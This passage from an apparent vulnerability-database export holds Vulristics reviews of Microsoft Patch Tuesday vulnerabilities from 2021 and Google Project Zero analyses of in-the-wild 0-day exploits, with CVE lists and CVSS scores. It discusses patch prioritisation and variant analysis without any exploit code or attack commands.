ironic. Also pay attention to Spoofing in Microsoft SharePoint (CVE-2021-31950) for which there is a public Server-Side Request Forgery exploit. VM vendors also did not write anything about this vulnerability in their reviews.\n\nFull Vulristics reports:\n\n * [ms_patch_tuesday_april2021_report_avleonov_comments.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_april2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_may2021_report_avleonov_comments.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_may2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_june2021_report_avleonov_comments.html](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_june2021_report_avleonov_comments.html>)\n\n![](http://feeds.feedburner.com/~r/avleonov/~4/zKo35MmSBcA)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-10T00:14:59", "type": "avleonov", "title": "Vulristics: Microsoft Patch Tuesdays Q2 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-24587", "CVE-2021-1675", "CVE-2021-26419", "CVE-2021-28310", "CVE-2021-28459", "CVE-2021-28480", "CVE-2021-31166", "CVE-2021-31167", "CVE-2021-31181", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31950", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-33739", "CVE-2021-33742"], "modified": "2021-07-10T00:14:59", "id": "AVLEONOV:9D3D76F4CC74C7ABB8000BC6AFB2A2CE", "href": "http://feedproxy.google.com/~r/avleonov/~3/zKo35MmSBcA/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-26T00:33:35", "description": "Hello everyone! It has been 3 months since [my last review of Microsoft vulnerabilities for Q4 2020](<https://avleonov.com/2021/01/11/vulristics-vulnerability-score-automated-data-collection-and-microsoft-patch-tuesdays-q4-2020/>). In this episode I want to review the Microsoft vulnerabilities for the first quarter of 2021. There will be 4 parts: January, February, March and the vulnerabilities that were released between the Patch Tuesdays.\n\n![](https://avleonov.com/wp-content/uploads/2021/03/vulristics.png)\n\nI will be using the reports that I created with my [Vulristics tool](<https://github.com/leonov-av/vulristics>). This time I'll try to make the episodes shorter. I will describe only the most critical vulnerabilities. Links to the full reports are at the bottom of the blog post.\n\n## January 2021\n\n * All vulnerabilities: 83\n * Urgent: 0\n * Critical: 1\n * High: 28\n * Medium: 51\n * Low: 3\n\nSo, what was interesting in January. The only critical vulnerability was Microsoft Defender Remote Code Execution (CVE-2021-1647). "Microsoft stated that this vulnerability was exploited before the patches were made available. This patch should be prioritized."\n\nThe most interesting High level vulnerability is Microsoft splwow64 Elevation of Privilege (CVE-2021-1648). "According to Maddie Stone, a researcher at Google Project Zero credited with identifying this vulnerability, CVE-2021-1648 is a patch bypass for CVE-2020-0986, which was exploited in the wild as a zero-day."\n\nAlso, vendors paid attention to a large number of Remote Procedure Call Runtime Remote Code Executions (CVE-2021-1658, CVE-2021-1660, CVE-2021-1664, CVE-2021-1666, CVE-2021-1667, CVE-2021-1671, CVE-2021-1673, CVE-2021-1700, CVE-2021-1701) and Windows Remote Desktop Security Feature Bypass (CVE-2021-1669). But there are still no signs of exploitation for them. They are all labeled High in the Vulristics report.\n\nThere were no public exploits for any of the January vulnerabilities. January was a quiet and calm month.\n\n## February 2021\n\n * All vulnerabilities: 57\n * Urgent: 1\n * Critical: 2\n * High: 21\n * Medium: 31\n * Low: 2\n\nOne Urgent level vulnerability is Elevation of Privilege in Win32k component of Windows 10 and Windows Server 2019 (CVE-2021-1732). According to Microsoft, this vulnerability has been exploited in the wild. "Successful exploitation would elevate the privileges of an attacker, potentially allowing them to create new accounts, install programs, and view, modify or delete data". Public exploit in a form of Metasploit Module is found at Vulners ([Win32k ConsoleControl Offset Confusion](<https://vulners.com/packetstorm/packetstorm:161880>)).\n\nBut the situation with other critical vulnerabilities is interesting. None of the VM vendors mentioned them in their Patch Tuesday reviews.\n\n * This is Microsoft Exchange Server Spoofing Vulnerability (CVE-2021-24085), which is mentioned on [AttackerKB](<https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085>) and for which public exploit is found at Vulners ([Microsoft Exchange Server msExchEcpCanary CSRF / Privilege Escalation](<https://vulners.com/packetstorm/packetstorm:161528>)). This is not the same vulnerability that was exploited in HAFNIUM. We'll get to those vulnerabilities later.\n * Two other vulnerabilities, Windows Win32k Elevation of Privilege Vulnerability (CVE-2021-1698) and Microsoft Exchange Server (CVE-2021-1730), were exploitated in the wild. Therefore, the Vulristics Vulnerability Score is higher for them.\n\nIf vendors ignored these vulnerabilities, what vulnerabilities did they mention in their reports? \n\n * Primarily they wrote about Windows TCP/IP Remote Code Execution Vulnerabilities. "Microsoft released a set of fixes affecting Windows TCP/IP implementation that include two Critical Remote Code Execution (RCE) vulnerabilities (CVE-2021-24074 and CVE-2021-24094) and an Important Denial of Service (DoS) vulnerability (CVE-2021-24086). While there is no evidence that these vulnerabilities are exploited in wild, these vulnerabilities should be prioritized given their impact."\n * Also about Windows DNS Server Remote Code Execution Vulnerability (CVE-2021-24078). "RCE flaw within Windows server installations when configured as a DNS server. Affecting Windows Server versions from 2008 to 2019, including server core installations, this severe flaw is considered \u201cmore likely\u201d to be exploited and received a CVSSv3 score of 9.8. This bug is exploitable by a remote attacker with no requirements for user interaction or a privileged account. As the vulnerability affects DNS servers, it is possible this flaw could be wormable and spread within a network."\n\nBut for these 2 vulnerabilities, there are still no public exploits or signs of active exploitation in the wild. This, of course, does not mean that these vulnerabilities do not need to be fixed. When we see the exploitation of these vulnerabilities the wild, it will be a disaster.\n\n## March 2021\n\n * All vulnerabilities: 82\n * Urgent: 0\n * Critical: 0\n * High: 36\n * Medium: 43\n * Low: 3\n\nAnd again, we see in the top not exactly the same vulnerabilities that VM vendors pointed out in their reviews.\n\n * Windows Container Execution Agent Elevation of Privilege Vulnerability (CVE-2021-26891). Just because a public exploit was found at Vulners ([Microsoft Windows Containers Privilege Escalation](<https://vulners.com/packetstorm/packetstorm:161734>)). \n * Internet Explorer Memory Corruption (CVE-2021-26411). "A memory corruption vulnerability in Internet Explorer that was exploited in the wild as a zero-day. In order to exploit the flaw, an attacker would need to host the exploit code on a malicious website and convince a user through social engineering tactics to visit the page, or the attacker could inject the malicious payload into a legitimate website". Exploitation in the wild is mentioned at [AttackerKB](<https://attackerkb.com/topics/WZgkdqe2vN/cve-2021-26411>).\n\nBut we also see several Windows DNS Server Remote Code Executions . "All five of these CVEs were assigned 9.8 CVSSv3 scores and can be exploited by an unauthenticated attacker when dynamic updates are enabled. According to an analysis by researchers at McAfee, these CVEs are not considered \u201cwormable,\u201d yet they do evoke memories of CVE-2020-1350 (SIGRed), a 17-year-old wormable flaw patched in July 2020." In general, updating DNS Server is never a bad thing.\n\nAnd where is the most important thing? Naturally these are Exchange vulnerabilities and they were published between Patch Tuesdays. I made a special script to get such CVEs.\n\n## Other Q1 2021\n\n * All vulnerabilities: 85\n * Urgent: 0\n * Critical: 7\n * High: 5\n * Medium: 27\n * Low: 46\n\nThe 7 critical vulnerabilities are those Microsoft Exchange Server Remote Code Executions exploited in recent attacks. They have signs of exploitation in the wild at [AttackerKB](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855>) and [Microsoft](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>). However, we still don't see public exploits.\n\n"[ProxyLogon](<https://proxylogon.com/>) is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability, CVE-2021-27065, to get code execution. All affected components are vulnerable by default! As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only opened 443 port!"\n\nEverything is extremely serious with these vulnerabilities and if you have public unpatched Exchange servers, then there is a good chance that you have already been hacked. For example, by HAFNIUM.\n\n"Hafnium is a state-sponsored threat actor identified by the Microsoft Threat Intelligence Center (MSTIC)".\n\n"Recently, Hafnium has engaged in a number of attacks using previously unknown exploits targeting on-premises Exchange Server software. To date, Hafnium is the primary actor we\u2019ve seen use these exploits, which are discussed in detail [by MSTIC here](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). The attacks included three steps. First, it would gain access to an Exchange Server either with stolen passwords or by using the previously undiscovered vulnerabilities to disguise itself as someone who should have access. Second, it would create what\u2019s called a web shell to control the compromised server remotely. Third, it would use that remote access \u2013 run from the U.S.-based private servers \u2013 to steal data from an organization\u2019s network."\n\nIn short, these Exchange vulnerabilities are the top.\n\nThe rest are Chrome vulnerabilities, simply because Microsoft's browser is now based on Chrome.\n\nYou can download full versions of reports here:\n\n * [ms_patch_tuesday_january2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_january2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_february2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_february2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_march2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_march2021_report_avleonov_comments.html>)\n * [ms_patch_tuesday_other_Q1_2021](<http://avleonov.com/vulristics_reports/ms_patch_tuesday_other_Q1_2021_report_avleonov_comments.html>)\n![](http://feeds.feedburner.com/~r/avleonov/~4/poQoyaBweKg)", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-03-26T02:47:52", "type": "avleonov", "title": "Vulristics: Microsoft Patch Tuesdays Q1 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0986", "CVE-2020-1350", "CVE-2021-1647", "CVE-2021-1648", "CVE-2021-1658", "CVE-2021-1660", "CVE-2021-1664", "CVE-2021-1666", "CVE-2021-1667", "CVE-2021-1669", "CVE-2021-1671", "CVE-2021-1673", "CVE-2021-1698", "CVE-2021-1700", "CVE-2021-1701", "CVE-2021-1730", "CVE-2021-1732", "CVE-2021-24074", "CVE-2021-24078", "CVE-2021-24085", "CVE-2021-24086", "CVE-2021-24094", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26891", "CVE-2021-27065"], "modified": "2021-03-26T02:47:52", "id": "AVLEONOV:13BED8E5AD26449401A37E1273217B9A", "href": "http://feedproxy.google.com/~r/avleonov/~3/poQoyaBweKg/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "googleprojectzero": [{"lastseen": "2023-08-12T02:03:44", "description": "Posted by Maddie Stone, Google Project Zero\n\nThis blog post is an overview of a talk, \u201c 0-day In-the-Wild Exploitation in 2022\u2026so far\u201d, that I gave at the FIRST conference in June 2022. The slides are available [here](<https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf>).\n\nFor the last three years, we\u2019ve published annual year-in-review reports of 0-days found exploited in the wild. The most recent of these reports is the [2021 Year in Review report](<https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html>), which we published just a few months ago in April. While we plan to stick with that annual cadence, we\u2019re publishing a little bonus report today looking at the in-the-wild 0-days detected and disclosed in the first half of 2022. \n\nAs of June 15, 2022, there have been 18 0-days detected and disclosed as exploited in-the-wild in 2022. When we analyzed those 0-days, we found that at least nine of the 0-days are variants of previously patched vulnerabilities. At least half of the 0-days we\u2019ve seen in the first six months of 2022 could have been prevented with more comprehensive patching and regression tests. On top of that, four of the 2022 0-days are variants of 2021 in-the-wild 0-days. Just 12 months from the original in-the-wild 0-day being patched, attackers came back with a variant of the original bug. \n\nProduct\n\n| \n\n2022 ITW 0-day\n\n| \n\nVariant \n \n---|---|--- \n \nWindows win32k\n\n| \n\n[CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html>)\n\n| \n\n[CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) (2021 itw) \n \niOS IOMobileFrameBuffer\n\n| \n\n[CVE-2022-22587](<https://support.apple.com/en-us/HT213053>)\n\n| \n\n[CVE-2021-30983](<https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html>) (2021 itw) \n \nWindows\n\n| \n\n[CVE-2022-30190](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190>) (\u201cFollina\u201d)\n\n| \n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (2021 itw) \n \nChromium property access interceptors\n\n| \n\n[CVE-2022-1096](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>)\n\n| \n\n[CVE-2016-5128](<https://bugs.chromium.org/p/chromium/issues/detail?id=619166>) [CVE-2021-30551](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30551.html>) (2021 itw) [CVE-2022-1232](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2280>) (Addresses incomplete CVE-2022-1096 fix) \n \nChromium v8\n\n| \n\n[CVE-2022-1364](<https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_14.html>)\n\n| \n\n[CVE-2021-21195](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_30.html>) \n \nWebKit\n\n| \n\n[CVE-2022-22620](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html>) (\u201cZombie\u201d)\n\n| \n\n[Bug was originally fixed in 2013, patch was regressed in 2016](<https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html>) \n \nGoogle Pixel\n\n| \n\n[CVE-2021-39793](<https://source.android.com/security/bulletin/pixel/2022-03-01>)*\n\n* While this CVE says 2021, the bug was patched and disclosed in 2022\n\n| \n\n[Linux same bug in a different subsystem](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cd5297b0855f17c8b4e3ef1d20c6a3656209c7b3>) \n \nAtlassian Confluence\n\n| \n\n[CVE-2022-26134](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>)\n\n| \n\n[CVE-2021-26084](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) \n \nWindows\n\n| \n\n[CVE-2022-26925](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925>) (\u201cPetitPotam\u201d)\n\n| \n\n[CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>) (Patch regressed) \n \nSo, what does this mean?\n\nWhen people think of 0-day exploits, they often think that these exploits are so technologically advanced that there\u2019s no hope to catch and prevent them. The data paints a different picture. At least half of the 0-days we\u2019ve seen so far this year are closely related to bugs we\u2019ve seen before. Our conclusion and findings in the [2020 year-in-review report](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>) were very similar.\n\nMany of the 2022 in-the-wild 0-days are due to the previous vulnerability not being fully patched. In the case of the Windows win32k and the Chromium property access interceptor bugs, the execution flow that the proof-of-concept exploits took were patched, but the root cause issue was not addressed: attackers were able to come back and trigger the original vulnerability through a different path. And in the case of the WebKit and Windows PetitPotam issues, the original vulnerability had previously been patched, but at some point regressed so that attackers could exploit the same vulnerability again. In the iOS IOMobileFrameBuffer bug, a buffer overflow was addressed by checking that a size was less than a certain number, but it didn\u2019t check a minimum bound on that size. For more detailed explanations of three of the 0-days and how they relate to their variants, please see the [slides from the talk](<https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf>).\n\nWhen 0-day exploits are detected in-the-wild, it\u2019s the failure case for an attacker. It\u2019s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can\u2019t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that effectively, we need correct and comprehensive fixes.\n\nThis is not to minimize the challenges faced by security teams responsible for responding to vulnerability reports. As we said in our 2020 year in review report: \n\nBeing able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. \n\nExactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.\n\nPractically, some of the following efforts can help ensure bugs are correctly and comprehensively fixed. Project Zero plans to continue to help with the following efforts, but we hope and encourage platform security teams and other independent security researchers to invest in these types of analyses as well:\n\n * Root cause analysis\n\nUnderstanding the underlying vulnerability that is being exploited. Also tries to understand how that vulnerability may have been introduced. Performing a root cause analysis can help ensure that a fix is addressing the underlying vulnerability and not just breaking the proof-of-concept. Root cause analysis is generally a pre-requisite for successful variant and patch analysis.\n\n * Variant analysis\n\nLooking for other vulnerabilities similar to the reported vulnerability. This can involve looking for the same bug pattern elsewhere, more thoroughly auditing the component that contained the vulnerability, modifying fuzzers to understand why they didn\u2019t find the vulnerability previously, etc. Most researchers find more than one vulnerability at the same time. By finding and fixing the related variants, attackers are not able to simply \u201cplug and play\u201d with a new vulnerability once the original is patched.\n\n * Patch analysis\n\nAnalyzing the proposed (or released) patch for completeness compared to the root cause vulnerability. I encourage vendors to share how they plan to address the vulnerability with the vulnerability reporter early so the reporter can analyze whether the patch comprehensively addresses the root cause of the vulnerability, alongside the vendor\u2019s own internal analysis.\n\n * Exploit technique analysis\n\nUnderstanding the primitive gained from the vulnerability and how it\u2019s being used. While it\u2019s generally industry-standard to patch vulnerabilities, mitigating exploit techniques doesn\u2019t happen as frequently. While not every exploit technique will always be able to be mitigated, the hope is that it will become the default rather than the exception. Exploit samples will need to be shared more readily in order for vendors and security researchers to be able to perform exploit technique analysis.\n\nTransparently sharing these analyses helps the industry as a whole as well. We publish our analyses at [this repository](<https://googleprojectzero.github.io/0days-in-the-wild/rca.html>). We encourage vendors and others to publish theirs as well. This allows developers and security professionals to better understand what the attackers already know about these bugs, which hopefully leads to even better solutions and security overall. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-30T00:00:00", "type": "googleprojectzero", "title": "\n2022 0-day In-the-Wild Exploitation\u2026so far\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-5128", "CVE-2021-1732", "CVE-2021-21195", "CVE-2021-26084", "CVE-2021-30551", "CVE-2021-30983", "CVE-2021-36942", "CVE-2021-39793", "CVE-2021-40444", "CVE-2022-1096", "CVE-2022-1232", "CVE-2022-1364", "CVE-2022-21882", "CVE-2022-22587", "CVE-2022-22620", "CVE-2022-26134", "CVE-2022-26925", "CVE-2022-30190"], "modified": "2022-06-30T00:00:00", "id": "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "href": "https://googleprojectzero.blogspot.com/2022/06/2022-0-day-in-wild-exploitationso-far.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-24T02:03:13", "description": "Posted by Maddie Stone, Project Zero\n\n** \n**\n\nIn May 2019, Project Zero released our [tracking spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0>) for 0-days used \u201cin the wild\u201d and we started a more focused effort on analyzing and learning from these exploits. This is another way Project Zero is trying to make zero-day hard. This blog post synthesizes many of our efforts and what we\u2019ve seen over the last year. We provide a review of what we can learn from 0-day exploits detected as used in the wild in 2019. In conjunction with this blog post, we are also publishing another [blog post](<https://googleprojectzero.blogspot.com/2020/07/root-cause-analyses-for-0-day-in-wild.html>) today about our root cause analysis work that informed the conclusions in this Year in Review. We are also releasing [8 root cause analyses](<https://googleprojectzero.blogspot.com/p/rca.html>) that we have done for in-the-wild 0-days from 2019. \n\n** \n**\n\nWhen I had the idea for this \u201cYear in Review\u201d blog post, I immediately started brainstorming the different ways we could slice the data and the different conclusions it may show. I thought that maybe there\u2019d be interesting conclusions around why use-after-free is one of the most exploited bug classes or how a given exploitation method was used in Y% of 0-days or\u2026 but despite my attempts to find these interesting technical conclusions, over and over I kept coming back to the problem of the detection of 0-days. Through the variety of areas I explored, the data and analysis continued to highlight a single conclusion: As a community, our ability to detect 0-days being used in the wild is severely lacking to the point that we can\u2019t draw significant conclusions due to the lack of (and biases in) the data we have collected.\n\n** \n**\n\nThe rest of the blog post will detail the analyses I did on 0-days exploited in 2019 that informed this conclusion. As a team, Project Zero will continue to research new detection methods for 0-days. We hope this post will convince you to work with us on this effort.\n\n# The Basics\n\nIn 2019, 20 0-days were detected and disclosed as exploited in the wild. This number, and our tracking, is scoped to targets and areas that Project Zero actively researches. You can read more about our scoping [here](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0>). This seems approximately average for years 2014-2017 with an uncharacteristically low number of 0-days detected in 2018. Please note that Project Zero only began tracking the data in July 2014 when the team was founded and so the numbers for 2014 have been doubled as an approximation. \n\n[![Line graph showing 0-days detected in the wild by year with a bitmoji of Maddie scratching her head and the thought bubble saying \"What aren't we detecting?\". The line graph has the following values: 2014 - 22, 2015 - 28, 2016 - 25, 2017 - 22, 2018 - 12, 2019 - 20.](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRldAvfDbg3A2Me72ElorUu10dsFRB520wK9tsGmsyoDqJjvL-UXsZigl7V7pY55kR-D43oreASv0fn6zfbL3j55TFXMVh8xr2ztualFcVkzUgjQ_GXAu2eKrJB4G7axpHOr32E9MUoE06UeYFLb7Gioi9huqAyEGtBIFKZS_VEtfrKm1MgglTPzEA/s1200/image2%283%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRldAvfDbg3A2Me72ElorUu10dsFRB520wK9tsGmsyoDqJjvL-UXsZigl7V7pY55kR-D43oreASv0fn6zfbL3j55TFXMVh8xr2ztualFcVkzUgjQ_GXAu2eKrJB4G7axpHOr32E9MUoE06UeYFLb7Gioi9huqAyEGtBIFKZS_VEtfrKm1MgglTPzEA/s1233/image2%283%29.png>)\n\nThe largely steady number of detected 0-days might suggest that defender detection techniques are progressing at the same speed as attacker techniques. That could be true. Or it could not be. The data in our spreadsheet are only the 0-day exploits that were detected, not the 0-day exploits that were used. As long as we still don\u2019t know the true detection rate of all 0-day exploits, it\u2019s very difficult to make any conclusions about whether the number of 0-day exploits deployed in the wild are increasing or decreasing. For example, if all defenders stopped detection efforts, that could make it appear that there are no 0-days being exploited, but we\u2019d clearly know that to be false.\n\n** \n**\n\nAll of the 0-day exploits detected in 2019 are detailed in the Project Zero [tracking spreadsheet here](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=8521108>). \n\n** \n**\n\n## 0-days by Vendor\n\nOne of the common ways to analyze vulnerabilities and security issues is to look at who is affected. The breakdown of the 0-days exploited in 2019 by vendor is below. While the data shows us that almost all of the big platform vendors have at least a couple of 0-days detected against their products, there is a large disparity. Based on the data, it appears that Microsoft products are targeted about 5x more than Apple and Google products. Yet Apple and Google, with their iOS and Android products, make up a huge majority of devices in the world. \n\n** \n**\n\nWhile Microsoft Windows has always been a prime target for actors exploiting 0-days, I think it\u2019s more likely that we see more Microsoft 0-days due to detection bias. Because Microsoft has been a target before some of the other platforms were even invented, there have been many more years of development into 0-day detection solutions for Microsoft products. Microsoft\u2019s ecosystem also allows for 3rd parties, in addition to Microsoft themself, to deploy detection solutions for 0-days. The more people looking for 0-days using varied detection methodologies suggests more 0-days will be found.\n\n[![Bar graph of number of 0-days by vendor \$Apple, Facebook, Google, Microsoft, Mozilla, and Trend Micro\$ with a Bitmoji of Maddie and a thinking face and the comment \"Things aren't how they appear...\"](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0sECeT3DuVOphtori3PifVVTpnQ6psorDh0zyW7AZx2mJK8dyQA0wh2b2CR-d_YvYQw6peqwmd2QBqb64IFI65mov8-uAJoDLKiWjLwQgnCgy_9yVAwwQnLtE9x1YtWjHkwgw8BbQ51C0Qb60l3-U3z6l9KBANVYS_2TBg4_ZCm_z8_OwQyo37dlY/s1200/image1%286%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0sECeT3DuVOphtori3PifVVTpnQ6psorDh0zyW7AZx2mJK8dyQA0wh2b2CR-d_YvYQw6peqwmd2QBqb64IFI65mov8-uAJoDLKiWjLwQgnCgy_9yVAwwQnLtE9x1YtWjHkwgw8BbQ51C0Qb60l3-U3z6l9KBANVYS_2TBg4_ZCm_z8_OwQyo37dlY/s1624/image1%286%29.png>)\n\n# Microsoft Deep-Dive\n\nFor 2019, there were 11 0-day exploits detected in-the-wild in Microsoft products, more than 50% of all 0-days detected. Therefore, I think it\u2019s worthwhile to dive into the Microsoft bugs to see what we can learn since it\u2019s the only platform we have a decent sample size for. \n\n** \n**\n\nOf the 11 Microsoft 0-days, only 4 were detected as exploiting the latest software release of Windows . All others targeted earlier releases of Windows, such as Windows 7, which was originally released in 2009. Of the 4 0-days that exploited the latest versions of Windows, 3 targeted Internet Explorer, which, while it\u2019s not the default browser for Windows 10, is still included in the operating system for backwards compatibility. This means that 10/11 of the Microsoft vulnerabilities targeted legacy software. \n\n** \n**\n\nOut of the 11 Microsoft 0-days, 6 targeted the Win32k component of the Windows operating system. Win32k is the kernel component responsible for the windows subsystem, and historically it has been a prime target for exploitation. However, with Windows 10, Microsoft dedicated resources to locking down the attack surface of win32k. Based on the data of detected 0-days, none of the 6 detected win32k exploits were detected as exploiting the latest Windows 10 software release. And 2 of the 0-days (CVE-2019-0676 and CVE-2019-1132) only affected Windows 7.\n\n** \n**\n\nEven just within the Microsoft 0-days, there is likely detection bias. Is legacy software really the predominant targets for 0-days in Microsoft Windows, or are we just better at detecting them since this software and these exploit techniques have been around the longest?\n\n** \n**\n\nCVE\n\n| \n\nWindows 7 SP1\n\n| \n\nWindows 8.1\n\n| \n\nWindows 10\n\n| \n\nWin 10 1607\n\n| \n\nWIn 10 1703\n\n| \n\nWIn 10 1803\n\n| \n\nWin 10 1809\n\n| \n\nWin 10 1903\n\n| \n\nExploitation of Latest SW Release?\n\n| \n\nComponent \n \n---|---|---|---|---|---|---|---|---|---|--- \n \nCVE-2019-0676\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n| \n\nYes (1809)\n\n| \n\nIE \n \nCVE-2019-0808\n\n| \n\nX\n\n| \n| \n| \n| \n| \n| \n| \n| \n\nN/A (1809)\n\n| \n\nwin32k \n \nCVE-2019-0797\n\n| \n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n\nX\n\n| \n| \n\nExploitation Unlikely (1809)\n\n| \n\nwin32k \n \nCVE-2019-0703\n\n| 